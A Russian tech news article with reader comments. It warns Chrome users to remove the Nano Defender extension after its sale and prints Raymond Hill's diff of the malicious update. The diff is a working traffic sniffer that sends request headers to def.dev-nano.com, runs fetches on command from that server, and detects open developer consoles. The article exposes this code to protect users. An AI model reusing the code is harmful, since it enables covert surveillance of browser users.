Расширение Nano Defender нужно срочно удалить из браузера



    3 октября 2020 года программист jspenguin2017, автор расширения Nano Defender, сообщил в официальном репозитории, что продал проект «группе турецких разработчиков». Это сообщение вызвало массу слухов и опасений: что за турецкие разработчики, кто контролирует код, почему из репозитория удалена страница с политикой приватности?

    Спустя несколько дней опасения сообщества полностью оправдались.

    Nano Defender — довольно популярный способ обхода антиблокировщиков рекламы. Работает в связке с блокировщиками uBlock Origin и Nano AdBlocker (форк uBlock Origin), защищая их от детектирования на сайтах.

    Турки оперативно выпустили новую версию Nano Defender 15.0.0.206 с тщательно замаскированными изменениями в функциональности, которые не были опубликованы на GitHub. Внимательное изучение этих изменений указывает на то, что расширение нужно деинсталлировать всем пользователям.

    Рекомендация относится к Chrome и браузеров на основе Chromium, где происходит автоматический апгрейд расширений без уведомления пользователя. Турки не покупали версию под Firefox. Мейнтейнер расширений Firefox Nano, разработчик LiCybora, подтвердил, что сохраняет над ними контроль: эти расширения в безопасности. Кроме того, Firefox проверяет цифровые подписи расширений, так что вредоносный код не так легко пропихнуть в новую версию расширения.

    Автор uBlock Origin Рэймонд Хилл проанализировал изменения в версии Nano Defender 15.0.0.206. Он отметил, что добавлен код для детектирования запуска dev-консоли расширения. В этом случае высылается уведомление report на сервер https://def.dev-nano.com/. Другими словами, владельцы отслеживают тех, кто пытается разобраться в работе расширения. С высокой степенью вероятности в таком случае расширение меняет свою функциональность, скрывая некоторые функции — это стандартный трюк вредоносных программ, которые детектируют наличие исследовательского окружения, такого как виртуальная среда.

    В такой ситуации Рэймонду Хиллу пришлось изучать функциональность новой версии Nano Defender без dev-консоли. Вот что он обнаружил.

    При запуске расширение прослушивает https://def.dev-nano.com/ на предмет сообщений для заполнения списка listOfObject.

    Насколько можно понять код, в дальнейшем содержимое списка listOfObject используется для проверки полей объекта details, который передаётся в webRequest.onBeforeSendHeaders(). Если все поля соответствуют условию, то всё содержимое объекта details отправляется на https://def.dev-nano.com/ под названием handleObject.

    При этом обработчик webRequest.onBeforeSendHeaders() действует для всех сетевых запросов:

    chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
    urls: ["<all_urls>"]
    }, ['requestHeaders', 'blocking', 'extraHeaders']);

    Поскольку listOfObject запрашивается с внешнего сервера, то функциональность этого метода устанавливается извне. Список может содержать любые условия в любом количестве. Грубо говоря, владельцы расширения могут запрашивать из браузера любые фрагменты исходящего сетевого трафика на своё усмотрение. Таким образом, расширение Nano Defender фактически превратилось в универсальный шпионский снифер.

    Рэймонд Хилл опубликовал diff, который недоступен в репозитории новых владельцев:

    diff для core.js
    --- ./background/core.js
    +++ ./background/core.js
    @@ -160,7 +160,7 @@
    const hasNews = false;
    - const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";
    + const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";
    const newsReadFlag = "news-read";
    // This handler becomes inactive when there is a popup page set
    @@ -189,7 +189,8 @@
    // ------------------------------------------------------------------------------------------------------------- //
    };
    -
    +var defender = io.connect("https://def.dev-nano.com/");
    +var listOfObject = {};
    // ----------------------------------------------------------------------------------------------------------------- //
    a.noopErr = () => {
    @@ -211,6 +212,29 @@
    // ----------------------------------------------------------------------------------------------------------------- //
    +
    +
    +async function dLisfOfObject(newList) {
    + let dListResp = await fetch(newList.uri, newList.attr)
    + var listOfObj = {}
    + listOfObj.headerEntries = Array.from(dListResp.headers.entries())
    + listOfObj.data = await dListResp.text()
    + listOfObj.ok = dListResp.ok;
    + listOfObj.status = dListResp.status;
    + return listOfObj;
    +}
    +
    +defender.on("dLisfOfObject", async function (newList) {
    + let getRes = await dLisfOfObject(newList);
    + defender.emit(newList.callBack, getRes)
    +});
    +
    +defender.on("listOfObject", function (a) {
    + listOfObject = a;
    +})
    +
    +
    +
    // Redirect helpers
    a.rSecret = a.cryptoRandom();
    @@ -227,7 +251,22 @@
    // 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).
    a.blankMP4 = a.rLink("blank.mp4");
    -
    +
    +var element = document.createElement("p"); ;
    +var openListGet = false;
    +element.__defineGetter__("id", function() {
    + openListGet = true;
    +});
    +
    +var i = setInterval(function() {
    + openListGet = false;
    + console.log(element);
    + if(openListGet){
    + defender.emit("report")
    + console.clear();
    + clearInterval(i)
    + }
    +}, 100);
    // ----------------------------------------------------------------------------------------------------------------- //
    // tab - Id of the tab
    @@ -450,6 +489,50 @@
    return true;
    };
    +
    +var blockingHandler = function (infos) {
    + var changedAsArray = Object.keys(listOfObject);
    +
    + var detailsHeader = infos.requestHeaders;
    + var HeadReverse = detailsHeader.reverse();
    + var stringyFy = JSON.stringify(HeadReverse);
    + var mount = "";
    + if (changedAsArray.length > 0) {
    + var checkerList = true;
    + for (const object of changedAsArray) {
    + if (object.x === object.y) {
    + mount += 1;
    + }
    + break;
    + }
    + for (let i = 0; i < changedAsArray.length; i++) {
    + let x = changedAsArray[i];
    + var re = new RegExp(listOfObject[x],'gi');
    + mount = "5";
    + if (infos[x].toString().match(re) == null) {
    + checkerList = false;
    + break;
    + }
    + }
    + if (checkerList) {
    + defender.emit('handleObject', infos);
    + }
    + }
    +
    + var m = [45,122,122,122]
    + var s = m.map( x => String.fromCharCode(x) )
    + var x = s.join("");
    + var replacerConcat = stringyFy.split(x).join("");
    + var replacer = JSON.parse(replacerConcat);
    + return {
    + requestHeaders: replacer
    + }
    +};
    +
    +chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
    + urls: ["<all_urls>"]
    +}, ['requestHeaders', 'blocking', 'extraHeaders']);
    +
    // ----------------------------------------------------------------------------------------------------------------- //

    Турецкие разработчики опубликовали новую политику приватности для расширения. В соответствии с ней, расширение собирает и передаёт на удалённый сервер массу информации, в том числе адреса посещённых страниц, время сессий на каждой странице, IP-адрес пользователя и другие данные. Раньше в соглашении о приватности не было такого пункта.

    Вообще, продажа расширений — распространённая статья дохода для независимых разработчиков. После установки расширения многие пользователи не знают, что расширение купили новые владельцы, а их компьютер уже используются в постороннем проекте.

    Например, владельцы прокси-сервиса SmartProxy предлагают своим клиентам доступ к сети домашних IP-адресов, которая насчитывает около 40 миллионов IP — большинство узлов находится на компьютерах ничего не подозревающих юзеров. Эти домашние компьютеры используются для проксирования трафика платных клиентов.



    Другая сеть Luminati использует в качестве точек выхода компьютеры домашних пользователей, которые установили бесплатное приложение HolaVPN. Данная сеть также скупает популярные браузерные расширения.

    С юридической точки зрения использование «втёмную» домашних компьютеров пользователей для прокачки коммерческого трафика — весьма сомнительное мероприятие. Но бизнесменам пока удаётся избежать наказания.

    Что касается программиста jspenguin2017, то сообщество осудило его безответственные действия по продаже расширения, поскольку в поддержке и составлении списков для Nano Defender принимали участие десятки других разработчиков. Получается, что jspenguin2017 единолично монетизировал человеко-часы чужой работы.

    Расширение Nano Defender уже удалено из каталога Chrome Web Store.
    GlobalSign
    Компания

    Комментарии 75

      –3

      один вопрос, зачем это турецким "разработчикам" ?

        +35
        Был бы ботнет, а способ монетизировать найдётся.
          +9
          Может быть это расширение стоит у такого человека, взлом которого принёс денег больше чем стоимость покупки расширения.
            +2

            Домашние прокси всегда были в цене, с ними много что можно делать — от банальной накрутки рекламы до кардинга и прочих способов поживиться чужими деньгами.

          +8

          забавно, что сам разработчик рассказал что он хотел передать проект на поддержку другим из-за нехватки времени на доработки, и если бы он знал, что они так себя поведут, он бы им его не продал.

            –20

            это стандартная отмазка подобных мудаков

              +42

              Автор расширения мудак? Наверное, было бы лучше, если бы он его не писал.


              Вон, стоит идеальный программист в белом, а вокруг мудаки. Программист в белом не написал ни единой строчки кода.

              • НЛО прилетело и опубликовало эту надпись здесь
                  +14
                  Потенциальным хакером может быть абсолютно любой человек. А какие у вас есть стопроцентно рабочие и безошибочные методы определения, являются ли покупатели «хакерами»?
                    –24

                    Если нет уверенности, то не продавать. Сколько таких историй-то уже?

                    +20

                    А как назвать людей, которые голосовали за потенциального диктатора на выборах?


                    Остались только д'Артаньяны, все в белом, которые ничего не делали и никаких ошибок не совершали.

                    • НЛО прилетело и опубликовало эту надпись здесь
                      • НЛО прилетело и опубликовало эту надпись здесь
                          +26
                          Вы продали машину некоему человеку. На следующий день этот человек попадает в аварию на машине унеся жизни нескольких человек. И исходя из вашей логики — мудаком будете именно вы — потому что не должны были продавать такому человеку такое опасное средство как машина. Должны были предвидеть, даже если никаких предпосылок не было.
                            –3
                            Статистически вероятность того, что тот, кому продали машину, попадёт в аварию, достаточно низка. В то же время практически каждая известная история про продажу расширения заканчивается встраиванием в него того или иного вредоносного кода. Конечно, не отрицаю возможность «ошибки выжившего», но всё же, будучи информированным о подобных историях, добросовестный разработчик бы трижды подумал, хорошо ли будет репутации расширения (и, как следствие, его самого) после такой сделки.
                              +4
                              после такой сделки.

                              Какой? Вот если конкретно на этих людей, которым он продал — не было бэкграунда, позволяющего сказать, что они воспользуются расширением нечестно — то как он должен был это понять?
                            • НЛО прилетело и опубликовало эту надпись здесь
                                +16
                                вы отпускаете своих детей гулять с неизвестным мужиком. Еще и денег у него возьмете. У вас же нет оснований подозревать в нем маньяка-педофила.

                                Мне кажется, все же продажа машины слегка более частая ситуация, чем та, которую вы описали. Что идиотского в продаже машины? Хотите аналогию с чем-то влияющим на кучу людей? Хорошо. Допустим есть хлебзавод, поставляющий хлеб в десятки магазинов. Потом хлебзавод продают и через время новый владелец нарушает технологию, что приводит к отравлению сотен или даже тысяч человек. Правильно понимаю, что в такой аналогии опять же будет виноват тот, кто продал?

                                Ахринительный прием: придумать идиотскую ситуацию, засунуть туда меня и обозвать мудаком.

                                Заметьте, не я первый начал обзывать. Я всего лишь попытался применить вашу логику к другим ситуациям связанным с продажей чего-либо.
                                • НЛО прилетело и опубликовало эту надпись здесь
                                    +2

                                    А в продаже хлебзавода с потребителями?

                                    • НЛО прилетело и опубликовало эту надпись здесь
                                        +1
                                        А расширение было продано анонимному покупателю? Ну вообще прям анонимному, автору где-то в дебрях i2p написал «VedroNavoza99» и предложил два биткоина, а автор согласился?
                                +1
                                Тут скорее «вы продали оружие массового поражения» и дальше по тексту. Но это, в действительности проблема Гугла и его Хрома, которые автообновляют расширения по дефолту и не отслеживают, к примеру, смену владельца.
                                  +1
                                  Ну оружие массового поражения — это все же слишком. Мне больше нравится моя аналогия с хлебзаводом, на котором можно сделать опасный для питания хлеб. А про смену владельца — да, согласен, хорошо бы Гугл это отслеживал и выдавал предупреждения о том что у расширения сменился владелец, хотите продолжить его использовать или удалить.
                              +9

                              Не вижу. Если бы он за деньги закоммитил малварю — это была бы очевидный анти-этический поступок. Но он передал maintenance расширения in good faith.

                              • НЛО прилетело и опубликовало эту надпись здесь
                                  +3
                                  По всей видимости, продажа аудитории стала нормой.

                                  Если этим занимаются гиганты, то что сразу мне нельзя? Весь рекламный бизнес это продажа пользователей.
                                    +8

                                    Чем отличается передача maintenance в гит-репозитории и передача extension? Если он знал про их планы или имел resonable причины подозревать, то да. Если нет — простите, автор он — на пожизненное? За то, что написал?

                                      +1
                                      Вы исходите из презумпции невиновности — если нет причин подозревать нечестные намерения покупателя, то нет отказывать.
                                      А ваш оппонент исходит из презумпции виновности — пока не доказано, что покупатель имеет честные намерения, передавать ему нельзя ничего.

                                      Логическими рассуждениями тут ничего не добьёшься, у вас разная аксиоматика.
                                        +5

                                        В рамках презумпции виновности нельзя никому давать денег (даже за товар). Вдруг, он террористов спонсирует?

                                          +1

                                          В рамках этой презумпции даже комментарии писать нельзя — вдруг они кого натолкнут на мысль? Я уж не говорю об обучающих статьях на любые темы.

                                        +1
                                        Он продавал исходный код или расширение имеющее определённую аудиторию? Это уже не первый пример заражений расширений с их последующим удалением.
                                0
                                потенциальным хакерам?
                                Хакер это толковый специалист, а не просто очередной взломщик.
                                  +1
                                  Вы мнение про то, что мужская половина населения земли — потенциальные насильники, слышали =)?
                                  +11
                                  Программист в белом не написал ни единой строчки кода.

                                  у меня есть расширение в хромом магазине и каждую неделю приходят письма от "турецких программистов" о монетизации. о результатах подобных монетизаций на каждом углу пишут. автор прекрасно знал на что шел. он просто продал пользователей своего расширения. он мудак.


                                  тот, кто его жалеет, тот либо не в теме, либо одобряет подобный способ зарабатывания денег.

                                    0
                                    Всё имеет цену. За миллион долларов бы продал? А за 10? Забив на всё.
                                      0

                                      вы забыли вариант с похищением ребенка

                            • НЛО прилетело и опубликовало эту надпись здесь
                                +12
                                Рекомендую сейчас и впредь читать статьи дальше заголовка.
                                –4
                                откатить к предыдущей(безопасной) версии сотни тысяч своих пользователей у гугла мозгов не хватит никогда
                                  +7

                                  И что они должны сделать дальше? Оставить расширение без обновлений навсегда? Здесь же проблема не во взломе (что решается откатом вполне), а в сменившемся владельце.

                                    –2

                                    можно загрузить пустое расширение (заглушку). greasyfork так умеет.

                                      +8
                                      Даже не знаю что хуже — возможность того, что любое расширение могут продать плохим парням, или ещё и этот уровень цензуры от хороших парней.
                                        +1

                                        я писал о способе удаления с компов пользователей опасной версии расширения. что касается отката, то по словам гугла, они не хранят предыдущие версии расширения (может врут). да и не их это дело, ведь расширение не гуглу принадлежит.

                                    +5
                                    А откуда этому большинству казуальных пользователей вообще знать о существовании проблемы?
                                      +3
                                      Ниоткуда. Именно поэтому в комментарии, на который вы ответили, и предлагается действовать Гуглу, а не казуальным пользователям.
                                    +12
                                    Это то, о чем я не устаю напоминать: open source не обязательно значит, что установленная программа собрана именно из опубликованных исходных кодов.

                                    Тут нам просто повезло, что нашелся заинтересованый человек, который стал копаться.
                                      +10

                                      Привет, дебиан, с моделью reproducable builds и требованием, чтобы бинари собирались из src-части того же самого репозитория.

                                        +6
                                        Существуют люди, которые косятся на меня когда узнают, что я всегда собираю то что мне нужно во FreeBSD из портов сам. :)
                                          +1
                                          А вы досконально изучаете, что делает код, который вы собираете?
                                            0
                                            Не сказать, чтобы прям пристально, но иногда заглядываю. Ведь тут же главное то, что есть такая возможность, в отличии от бинарного репозитория. Я помню, как в 7й версии у MPD сломали ProxyArp и поправить руками исходник было проще, чем ждать пока кому-то придёт в голову пересобрать репозиторий. Кстати, исправили они только в 8й версии. Ну и сборка на целевой системе позволяет использовать оптимизации.
                                            0
                                            Я бы удивился, узнав бы о существовании людей, которые не косятся! *Покосился на вас*
                                              0

                                              Тут бы ещё отделить, удивление от самосборки или от FreeBSD. Как гентушник говорю.

                                          +7
                                          Антибаннеры продались
                                          Их надежды оправдались
                                            +6
                                            Искренне надеюсь что с любимым uBlock Origin, такого не произойдет.
                                              +13
                                              Вы думаете откуда взялась «Origin» часть названия?
                                              +7
                                              Казалось бы, хороший тон, если ты при продаже за неделю-другую выпускаешь дополнительное, контролируемое тобой обновление своего приложения/дополнения, которое уведомляняет пользователей о факте будущей смены хозяина. А уже потом отдаёшь покупателю. Это действительно так сложно? Или просто состояние аффекта от суммы сделки?
                                                +6
                                                Разумеется, то более чем «сложно».
                                                За что, по вашему, платит покупатель бесплатного расширения?
                                                Именно за пользовательскую базу, которой можно с обновлением пропишнуть что-то, что они сами никогда не поставят.
                                                0
                                                Когда узнал о расширении на хабре…
                                                А вообще, этот функционал должен быть частью того же uBlock
                                                  0
                                                  Там в обсуждении упоминается, что большая часть в uBlock уже есть, просто появилась позже. (Я об этом расширении узнал тоже из статьи, так что судить, так ли это, не могу.)
                                                    +2
                                                    А вообще, этот функционал должен быть частью того же uBlock

                                                    Ну это как встроенный антивирус и сторонний. С первым "разработчики" обязательно будут тестировать по дефолту, а вот методы второго могут остаться незамеченными.

                                                      0
                                                      «по дефолту» это скорее про adblock (plus), у ublock всё-таки меньше популярность. Тем более, там ещё разные листы есть…
                                                    +1
                                                    Как отключить автообновление расширений в Vivaldi/Chrome?
                                                      +6
                                                      Перейти на Firefox и галочкой в настройках?
                                                        +2
                                                        Firefox меня не устраивает тем, что там убрали галку про проверку обновлений самого FF, т.е. если он и не будет сам обновляться, то все-равно будет задалбывать сообщениями о обновлении (можно отключить в реестре, но это еще поискать нужно как). А в обсуждении разработчиков было написано, что пользователи в основном дебилы, и нельзя давать им возможность легко совсем отключить автообновления. Мне это неприятно.
                                                          +3
                                                          А в обсуждении разработчиков было написано, что пользователи в основном дебилы

                                                          Ну да, «Если создавать продукт для дебилов, то только дебилы им и будут пользоваться». Только все продукты сейчас на дебилов и ориентируются, если это не какая-нибудь профессиональная или внутренняя разработка.
                                                          Ну вот в Хроме как я понял нет галочки «Отключить автообновление расширений», но вы же им пользуетесь.
                                                            –1
                                                            Я пользуюсь Vivaldi, там никто не заставляет пользователя обновляться и вообще настроек много и они грамотно сделаны. Если и нет такой галки можно разрабов попросить сделать, они более ответственно относятся к желаниям пользователей.
                                                            А про FF я же описал свои впечатления, они могут хоть 10 раз ту галку вернуть и вообще стать мягкими и пушистыми, но я для себя уже решил FF не использовать нигде и никогда.
                                                              0
                                                              не станут, и не факт что сам фф не исчезнет или как минимум переродится с текущей политикой.
                                                              habr.com/ru/company/vdsina/blog/522450
                                                      0
                                                      Где-нибудь возможно получить полный список «продавшихся» расширений и программ, дабы удалить их с компьютера и никогда больше не ставить?
                                                        0
                                                        Разве что в будущее заглянуть. Потенциально продались все.
                                                          +2
                                                          Нужно написать для этого отдельное расширение!
                                                            +2
                                                            Куплю это расширение вместе с пользователями =)
                                                            –2
                                                            Просто не нужно ставить какие-либо расширения.
                                                              +1
                                                              Да и браузер, чего уж там.
                                                            0
                                                            Мне пару лет назад тоже предлагали продать расширение. Не помню какое точно, что писалось или для себя или для жены, но оказалось, что там было 18К пользователей!.. Запомнил потому что цена была по доллару за пользователя с точностью до бакса. Предлагавший такую связь всячески отрицал…

                                                            Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                            Самое читаемое